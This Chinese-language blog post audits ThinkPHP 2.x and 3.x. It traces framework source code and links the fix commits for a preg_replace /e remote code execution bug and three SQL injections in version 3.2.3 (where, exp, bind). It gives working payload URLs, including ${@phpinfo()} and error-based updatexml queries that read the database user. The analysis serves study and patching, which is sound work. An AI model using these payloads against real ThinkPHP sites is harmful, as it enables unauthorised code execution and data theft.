thinkphp2.x & 3.x 代码审计

ThinkPHP

指纹

/favicon.ico

1
2
3
4
/?c=4e5e5d7364f443e28fbf0d3ae744a59a 
/4e5e5d7364f443e28fbf0d3ae744a59a
4e5e5d7364f443e28fbf0d3ae744a59a-index.html
body里有"十年磨一剑" 或者"ThinkPHP"

thinkphp的路由

几种URL模式

1
2
3
普通模式:'URL_MODEL'=>0
?m=模块&c=控制器&a=方法&参数=xx
如:?m=Home&c=User&a=test&id=1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pathinfo模式(默认模式):'URL_MODEL'=>1
http://localhost/index.php/模块/控制器/方法/参数名/参数值/参数名/参数值
如:http://localhost/index.php/Home/User/test/username/a/pass/b

PATHINFO模式还包括普通模式和智能模式两种:
PATHINFO普通模式:'PATH_MODEL'=>1
该模式URL参数没有顺序,例如
http://serverName/appName/a/action/id/1/m/module

PATHINFO智能模式:'PATH_MODEL'=>2, (系统默认的模式)
http://serverName/appName/module/action/year/2000/month/01/day/01/

参数之间的分割符由PATH_DEPR参数设置,默认为"/",若设置PATH_DEPR为"^"
'URL_PATHINFO_DEPR'=>'/',
http://serverName/appName/module^action^id^1/
1
2
3
4
rewrite模式
http://网址/分组名/控制器名/方法名/参数1/参数值1/参数n/参数值n
与thinkPHP默认的路由形式Pathinfo()形式路由的不同之处就是,缺少了入口文件(index.php)
该路由形式不能直接使用,需要配置中间件重写规则才能使用
1
2
3
4
5
6
7
8
兼容路由模式
http://网址/入口文件?s=/分组名/控制器名/方法名/参数1/参数值1
兼容路由形式只有1个参数:参数名s
如:http://localhost/index.php?s=/Home/User/test/id/100

也可以支持参数分割符号的定义,例如在PATH_DEPR设置为"~"的情况下,
'URL_PATHINFO_DEPR'=>'~',
http://serverName/appName/?s=module~action~id~1

ThinkPHP2

漏洞成因:使用preg_replace的/e模式匹配路由

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

payload php<=5.6.29

http://10.10.10.199:8080/index.php?s=/index/index/xxx/${@phpinfo()}

环境搭建:vulhub/thinkphp/2-rce docker compose up -d

写个变量调试一下看_preg_replace_的参数

1
2
3
preg_replace('@(\w+)/([^/]+)@e', '$var[\'\1\']="\2";', implode('/', $paths));
替换部分 '$var[\'\1\']="\2";'
将匹配到的 key/value 转换成 $var['key'] = "value"; 的 PHP 代码并执行。

根据thinkphp的路由规则

1
2
http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]

这个URL映射到控制器就是解析url里的:操作/[参数名/参数值…],然后根据路由规则,使用/e模式来执行

比如传入

/xxx/${@phpinfo()}

经过_preg_replace_生成数组

'xxx'' = "${@phpinfo()}"

那么为什么phpinfo()就会被执行,因为键值用的是双引号,双引号支持变量解析

1
2
${} 语法允许 动态变量名 或 表达式解析
${phpinfo()} 会先执行 phpinfo() 函数,然后尝试将其返回值作为变量名解析(这里会返回true也就是1 $1)

可以构造如下payload

1
2
3
/index.php?s=a/b/c/${phpinfo()}  =>  index.php/a/b/c/${@phpinfo()}
/index.php?s=a/b/c/${phpinfo()}/c/d/e/f
/index.php?s=a/b/c/d/e/${phpinfo()}

ThinkPHP3

3.0-3.1 RCE 同thinkphp2

3.2.3 where sql注入

tp3提供了一些内置方法 在 ThinkPHP/Common/functions.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
A 快速实例化Action类库
B 执行行为类
C 配置参数存取方法
D 实例化模型类 格式 [资源://][模块/]模型
E 抛出异常处理
F 快速文件数据读取和保存 针对简单类型数据 字符串、数组
G 记录和统计时间(微秒)和内存使用情况
I 获取输入参数 支持过滤和默认值
L 语言参数存取方法
M 实例化一个没有模型文件的Model
N 设置和获取统计数据
R 快速远程调用Action类方法 URL 参数格式 [资源://][模块/]控制器/操作
S 快速缓存存取方法
T 获取模版文件 格式 资源://模块@主题/控制器/操作
U URL动态生成和重定向方法
W 快速Widget输出方法

https://gitee.com/Pro-Li/thinkphp3.2.3/repository/archive/master.zip

配置

首先配置好数据库 ThinkPHP/Conf/convention.php

在Application/Home/Controller/IndexController.class.php写一个获取数据库数据的控制器

访问试一下

审计

对于传入的id=1,根据

$data = M('user')->find(I('GET.id'));

由内到外分析参数经过的方法

首先是I()方法,ctrl+单击方法跳转到ThinkPHP/Common/functions.php:271

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
/**
* 获取输入参数 支持过滤和默认值
* 使用方法:
* <code>
* I('id',0); 获取id参数 自动判断get或者post
* I('post.name','','htmlspecialchars'); 获取$_POST['name']
* I('get.'); 获取$_GET
* </code>
* @param string $name 变量的名称 支持指定类型
* @param mixed $default 不存在的时候默认值
* @param mixed $filter 参数过滤方法
* @param mixed $datas 要获取的额外数据源
* @return mixed
*/
function I($name,$default='',$filter=null,$datas=null) {
static $_PUT = null;
if(strpos($name,'/')){ // 指定修饰符
list($name,$type) = explode('/',$name,2);
}elseif(C('VAR_AUTO_STRING')){ // 默认强制转换为字符串
$type = 's';
}
if(strpos($name,'.')) { // 指定参数来源
list($method,$name) = explode('.',$name,2);
}else{ // 默认为自动判断
$method = 'param';
}
switch(strtolower($method)) {
case 'get' :
$input =& $_GET;
break;
case 'post' :
$input =& $_POST;
break;
case 'put' :
if(is_null($_PUT)){
parse_str(file_get_contents('php://input'), $_PUT);
}
$input = $_PUT;
break;
case 'param' :
switch($_SERVER['REQUEST_METHOD']) {
case 'POST':
$input = $_POST;
break;
case 'PUT':
if(is_null($_PUT)){
parse_str(file_get_contents('php://input'), $_PUT);
}
$input = $_PUT;
break;
default:
$input = $_GET;
}
break;
case 'path' :
$input = array();
if(!empty($_SERVER['PATH_INFO'])){
$depr = C('URL_PATHINFO_DEPR');
$input = explode($depr,trim($_SERVER['PATH_INFO'],$depr));
}
break;
case 'request' :
$input =& $_REQUEST;
break;
case 'session' :
$input =& $_SESSION;
break;
case 'cookie' :
$input =& $_COOKIE;
break;
case 'server' :
$input =& $_SERVER;
break;
case 'globals' :
$input =& $GLOBALS;
break;
case 'data' :
$input =& $datas;
break;
default:
return null;
}
if(''==$name) { // 获取全部变量
$data = $input;
$filters = isset($filter)?$filter:C('DEFAULT_FILTER');
if($filters) {
if(is_string($filters)){
$filters = explode(',',$filters);
}
foreach($filters as $filter){
$data = array_map_recursive($filter,$data); // 参数过滤
}
}
}elseif(isset($input[$name])) { // 取值操作
$data = $input[$name];
$filters = isset($filter)?$filter:C('DEFAULT_FILTER');
if($filters) {
if(is_string($filters)){
if(0 === strpos($filters,'/')){
if(1 !== preg_match($filters,(string)$data)){
// 支持正则验证
return isset($default) ? $default : null;
}
}else{
$filters = explode(',',$filters);
}
}elseif(is_int($filters)){
$filters = array($filters);
}

if(is_array($filters)){
foreach($filters as $filter){
if(function_exists($filter)) {
$data = is_array($data) ? array_map_recursive($filter,$data) : $filter($data); // 参数过滤
}else{
$data = filter_var($data,is_int($filter) ? $filter : filter_id($filter));
if(false === $data) {
return isset($default) ? $default : null;
}
}
}
}
}
if(!empty($type)){
switch(strtolower($type)){
case 'a': // 数组
$data = (array)$data;
break;
case 'd': // 数字
$data = (int)$data;
break;
case 'f': // 浮点
$data = (float)$data;
break;
case 'b': // 布尔
$data = (boolean)$data;
break;
case 's': // 字符串
default:
$data = (string)$data;
}
}
}else{ // 变量默认值
$data = isset($default)?$default:null;
}
is_array($data) && array_walk_recursive($data,'think_filter');
return $data;
}

在方法定义的地方下个断点,跟踪参数在方法中的路径

因为没有传入filter参数,所以默认为空

所以下面这个三元表达式会取C('DEFAULT_FILTER')

$filters = isset($filter)?$filter:C('DEFAULT_FILTER'); //C('DEFAULT_FILTER')

调用了C方法,跟进一下在ThinkPHP/Common/functions.php:23

分析一下知道会到这个三元表达式

查看配置文件

用的htmlspecialchars,继续跟

这里分析不管传入的是不是数组,经过

$data = is_array($data) ? array_map_recursive($filter,$data) : $filter($data); // 参数过滤

都会先调用htmlspecialchars来过滤

然后会到

is_array($data) && array_walk_recursive($data,'think_filter'); //回调think_filter来过滤

ThinkPHP/Common/functions.php:1538

1
2
3
4
5
6
7
8
function think_filter(&$value){
// TODO 其他安全过滤

// 过滤查询特殊字符
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
$value .= ' ';
}
}

最后返回

接着跟进find()方法ThinkPHP/Library/Think/Model.class.php:720

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
public function find($options=array()) {
if(is_numeric($options) || is_string($options)) {
$where[$this->getPk()] = $options;
$options = array();
$options['where'] = $where;
}
// 根据复合主键查找记录
$pk = $this->getPk();
if (is_array($options) && (count($options) > 0) && is_array($pk)) {
// 根据复合主键查询
$count = 0;
foreach (array_keys($options) as $key) {
if (is_int($key)) $count++;
}
if ($count == count($pk)) {
$i = 0;
foreach ($pk as $field) {
$where[$field] = $options[$i];
unset($options[$i++]);
}
$options['where'] = $where;
} else {
return false;
}
}
// 总是查找一条记录
$options['limit'] = 1;
// 分析表达式
$options = $this->_parseOptions($options);
// 判断查询缓存
if(isset($options['cache'])){
$cache = $options['cache'];
$key = is_string($cache['key'])?$cache['key']:md5(serialize($options));
$data = S($key,'',$cache);
if(false !== $data){
$this->data = $data;
return $data;
}
}
$resultSet = $this->db->select($options);
if(false === $resultSet) {
return false;
}
if(empty($resultSet)) {// 查询结果为空
return null;
}
if(is_string($resultSet)){
return $resultSet;
}

// 读取数据后的处理
$data = $this->_read_data($resultSet[0]);
$this->_after_find($data,$options);
if(!empty($this->options['result'])) {
return $this->returnResult($data,$this->options['result']);
}
$this->data = $data;
if(isset($cache)){
S($key,$data,$cache);
}
return $this->data;
}
// 查询成功的回调方法
protected function _after_find(&$result,$options) {}

protected function returnResult($data,$type=''){
if ($type){
if(is_callable($type)){
return call_user_func($type,$data);
}
switch (strtolower($type)){
case 'json':
return json_encode($data);
case 'xml':
return xml_encode($data);
}
}
return $data;
}

断点调试,发现会调用ThinkPHP/Library/Think/Model.class.php:627_parseOptions

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
protected function _parseOptions($options=array()) {
if(is_array($options))
$options = array_merge($this->options,$options);

if(!isset($options['table'])){
// 自动获取表名
$options['table'] = $this->getTableName();
$fields = $this->fields;
}else{
// 指定数据表 则重新获取字段列表 但不支持类型检测
$fields = $this->getDbFields();
}

// 数据表别名
if(!empty($options['alias'])) {
$options['table'] .= ' '.$options['alias'];
}
// 记录操作的模型名称
$options['model'] = $this->name;

// 字段类型验证
if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
// 对数组查询条件进行字段类型检查
foreach ($options['where'] as $key=>$val){
$key = trim($key);
if(in_array($key,$fields,true)){
if(is_scalar($val)) {
$this->_parseType($options['where'],$key);
}
}elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){
if(!empty($this->options['strict'])){
E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');
}
unset($options['where'][$key]);
}
}
}
// 查询过后清空sql表达式组装 避免影响下次查询
$this->options = array();
// 表达式过滤
$this->_options_filter($options);
return $options;
}

在这个方法下断点继续跟进,在ThinkPHP/Library/Think/Model.class.php:654 调用了 680 的_parseType进行类型转换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected function _parseType(&$data,$key) {
if(!isset($this->options['bind'][':'.$key]) && isset($this->fields['_type'][$key])){
$fieldType = strtolower($this->fields['_type'][$key]);
if(false !== strpos($fieldType,'enum')){
// 支持ENUM类型优先检测
}elseif(false === strpos($fieldType,'bigint') && false !== strpos($fieldType,'int')) {
$data[$key] = intval($data[$key]);
}elseif(false !== strpos($fieldType,'float') || false !== strpos($fieldType,'double')){
$data[$key] = floatval($data[$key]);
}elseif(false !== strpos($fieldType,'bool')){
$data[$key] = (bool)$data[$key];
}
}
}

然后就会将参数传给select进行查询

$resultSet = $this->db->select($options);

把参数改为?id=1'再走一遍看遇到sql注入时是如何处理的

发现经过_parseType之后id就变成1

_parseType会根据数据库字段的类型强制转换输入的参数,因为idint,所以会被**intval()**取整转为1

这里类型转换就防止了sql注入,那么要进入_parseType要满足下面这个if

if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join']))

关键点在第二个条件is_array($options['where'])

回到find方法可以看到传入的id是数字或者字符串的时候,就会满足第一个if,把where转为数组

当传入的参数是数组?id[where]=1的时候,就不会进入这个if

这样

if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join']))

的第二个条件is_array($options['where'])就是false,就不会进入_parseType

这样就可以进行注入了

构造注入

可以构造报错注入

1
2
?id[where]=1 and updatexml(1,concat(0x7e,(select user()),0x7e),1)%23   //报错注入
?id[where]=1 and updatexml(1,concat(0x7e,(select user() from user limit 1),0x7e),1)%23

注意一定要 limit 1,只能回显一行,因为

尝试一下

修复

https://github.com/top-think/thinkphp/commit/9e1db19c1e455450cfebb8b573bb51ab7a1cef04

v3.2.4$options$this->options进行了区分,从而传入的参数无法污染到$this->options,也就无法控制sql语句了。

3.2.3 exp sql注入

配置

修改一下控制器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
public function index()
{
// $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>!</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script>', 'utf-8');
header('Content-Type: text/html; charset=utf-8');
$User = D('user');
$map = array('username' => $_GET['username']);
$user = $User->where($map)->find();
var_dump($user);
}
}

审计

payload:

?id[0]=exp&id[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)

find()方法下断点一路跟进,发现到

$resultSet = $this->db->select($options);

会调用ThinkPHP/Library/Think/Db/Driver.class.php:942select方法

1
2
3
4
5
6
7
public function select($options=array()) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$sql = $this->buildSelectSql($options);
$result = $this->query($sql,!empty($options['fetch_sql']) ? true : false);
return $result;
}

继续跟进会调用ThinkPHP/Library/Think/Db/Driver.class.php:956buildSelectSql方法

1
2
3
4
5
6
7
8
9
10
11
12
public function buildSelectSql($options=array()) {
if(isset($options['page'])) {
// 根据页数计算limit
list($page,$listRows) = $options['page'];
$page = $page>0 ? $page : 1;
$listRows= $listRows>0 ? $listRows : (is_numeric($options['limit'])?$options['limit']:20);
$offset = $listRows*($page-1);
$options['limit'] = $offset.','.$listRows;
}
$sql = $this->parseSql($this->selectSql,$options);
return $sql;
}

继续跟进会调用ThinkPHP/Library/Think/Db/Driver.class.php:975parsetSql方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public function parseSql($sql,$options=array()){
$sql = str_replace(
array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),
array(
$this->parseTable($options['table']),
$this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),
$this->parseField(!empty($options['field'])?$options['field']:'*'),
$this->parseJoin(!empty($options['join'])?$options['join']:''),
$this->parseWhere(!empty($options['where'])?$options['where']:''),
$this->parseGroup(!empty($options['group'])?$options['group']:''),
$this->parseHaving(!empty($options['having'])?$options['having']:''),
$this->parseOrder(!empty($options['order'])?$options['order']:''),
$this->parseLimit(!empty($options['limit'])?$options['limit']:''),
$this->parseUnion(!empty($options['union'])?$options['union']:''),
$this->parseLock(isset($options['lock'])?$options['lock']:false),
$this->parseComment(!empty($options['comment'])?$options['comment']:''),
$this->parseForce(!empty($options['force'])?$options['force']:'')
),$sql);
return $sql;
}

这就是用sql模板来构造sql语句,继续跟进到ThinkPHP/Library/Think/Db/Driver.class.php:547parseWhereItem方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
protected function parseWhereItem($key,$val) {
$whereStr = '';
if(is_array($val)) {
if(is_string($val[0])) {
$exp = strtolower($val[0]);
if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比较运算
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
}elseif(preg_match('/^(notlike|like)$/',$exp)){// 模糊查找
if(is_array($val[1])) {
$likeLogic = isset($val[2])?strtoupper($val[2]):'OR';
if(in_array($likeLogic,array('AND','OR','XOR'))){
$like = array();
foreach ($val[1] as $item){
$like[] = $key.' '.$this->exp[$exp].' '.$this->parseValue($item);
}
$whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';
}
}else{
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
}
}elseif('bind' == $exp ){ // 使用表达式
$whereStr .= $key.' = :'.$val[1];
}elseif('exp' == $exp ){ // 使用表达式
$whereStr .= $key.' '.$val[1];
}elseif(preg_match('/^(notin|not in|in)$/',$exp)){ // IN 运算
if(isset($val[2]) && 'exp'==$val[2]) {
$whereStr .= $key.' '.$this->exp[$exp].' '.$val[1];
}else{
if(is_string($val[1])) {
$val[1] = explode(',',$val[1]);
}
$zone = implode(',',$this->parseValue($val[1]));
$whereStr .= $key.' '.$this->exp[$exp].' ('.$zone.')';
}
}elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){ // BETWEEN运算
$data = is_string($val[1])? explode(',',$val[1]):$val[1];
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]);
}else{
E(L('_EXPRESS_ERROR_').':'.$val[0]);
}
}else {
$count = count($val);
$rule = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ;
if(in_array($rule,array('AND','OR','XOR'))) {
$count = $count -1;
}else{
$rule = 'AND';
}
for($i=0;$i<$count;$i++) {
$data = is_array($val[$i])?$val[$i][1]:$val[$i];
if('exp'==strtolower($val[$i][0])) {
$whereStr .= $key.' '.$data.' '.$rule.' ';
}else{
$whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' ';
}
}
$whereStr = '( '.substr($whereStr,0,-4).' )';
}
}else {
//对字符串类型字段采用模糊匹配
$likeFields = $this->config['db_like_fields'];
if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) {
$whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%');
}else {
$whereStr .= $key.' = '.$this->parseValue($val);
}
}
return $whereStr;
}

重点就在这个方法

当传入的值是数组且第一个键值为exp的时候会拼接where语句

查看返回值

继续跟进到最后根据模板生成的sql语句是怎样的

报错注入构造成功

这里构造的语句最后就会提交给sql查询

具体是怎么构造,分析parsetSql方法的模板可知

1
2
3
4
%WHERE%   //用parseWhere的返回值whereStr 作为where的条件
$whereStr .= $key.' '.$val[1]; // id.' '.=1 and updatexml(1,concat(0x7e,user(),0x7e),1) 关键就是id后面拼接空格然后拼接val,val里面加个=就可以注入语句
最后得到(模板其他的占位符返回的都是空值)
SELECT * FROM `user` WHERE `id` =1 and updatexml(1,concat(0x7e,user(),0x7e),1) LIMIT 1 //`id` =1 and updatexml(1,concat(0x7e,user(),0x7e),1)就是我们注入的

这里只能通过get或者post等方法传入值,不能通过I()接收值

因为I方法最后经过了一个回调函数think_filter过滤了exp,在后面添加一个空格,无法进入拼接whereif因为(exp != exp空格)

1
2
3
4
5
6
7
8
function think_filter(&$value){
// TODO 其他安全过滤

// 过滤查询特殊字符
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
$value .= ' ';
}
}

thinkphp 3.2.3 bind注入

配置

控制器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
public function index()
{
// $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>!</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script>', 'utf-8');
header('Content-Type: text/html; charset=utf-8');
$User = M("user");
$user['id'] = I('id');
$data['password'] = I('password');
$valu = $User->where($user)->save($data);
var_dump($valu);
}
}

审计

payload

?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1

注意到上面exp注入的上一个if

1
2
elseif('bind' == $exp ){ // 使用表达式
$whereStr .= $key.' = :'.$val[1];

当数组第一个键值为bind的时候,会拼接where

where xxx.' ='.val //也就是拼接一个等号和冒号

这里为什么可以通过I('id')获取参数,因为think_filter没有过滤bind

因为用到save(),所以在ThinkPHP/Library/Think/Model.class.php:396save()方法下给断点

ThinkPHP/Library/Think/Model.class.php:451

$result = $this->db->update($data,$options);

调用了update(),跟进ThinkPHP/Library/Think/Db/Driver.class.php:891

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function update($data,$options) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$table = $this->parseTable($options['table']);
$sql = 'UPDATE ' . $table . $this->parseSet($data);
if(strpos($table,',')){// 多表更新支持JOIN操作
$sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
}
$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
if(!strpos($table,',')){
// 单表更新支持order和lmit
$sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
.$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
}
$sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
}

parseWhere会调用parseWhereItem(进入到elseif(‘bind’ == $exp ))

返回值如下

update()的最后return会调用ThinkPHP/Library/Think/Db/Driver.class.php:193 execute()

继续跟进发现在198行

$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind));

sql语句改变了

分析这行发现

queryStr根据$this->bind数组进行替换

也就是把:0转为1

成功构造sql注入

那么bind数组是哪来的,bind一开始是初始化的空数组,对bind监视,看值是何时变化的

发现是bindParam()方法

protected function bindParam($name,$value){ $this->bind[':'.$name] = $value; }// bind[:0] = 1

bindParam()方法是parseSet()调用的,parseSet()update()方法(895行)调用的

也就是

1
2
3
4
5
6
save()--> update()--> parseSet() --> bindParam() --> execute()
然后execute()的
if(!empty($this->bind)){
$that = $this;
$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind));
} //把sql语句的:0替换为1

替换的这个1 其实就是传入的password的值

改一下payload

?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=aa

发现bind把:0替换为aa

修复

https://github.com/top-think/thinkphp/commit/7e47e34af72996497c90c20bcfa3b2e1cedd7fa4

I()的回调方法think_filter增加一个bind字符过滤


thinkphp2.x & 3.x 代码审计
http://example.com/2025/04/20/thinkphp2.x & 3.x 代码审计/
作者
J_0k3r
发布于
2025年4月20日
许可协议
BY J_0K3R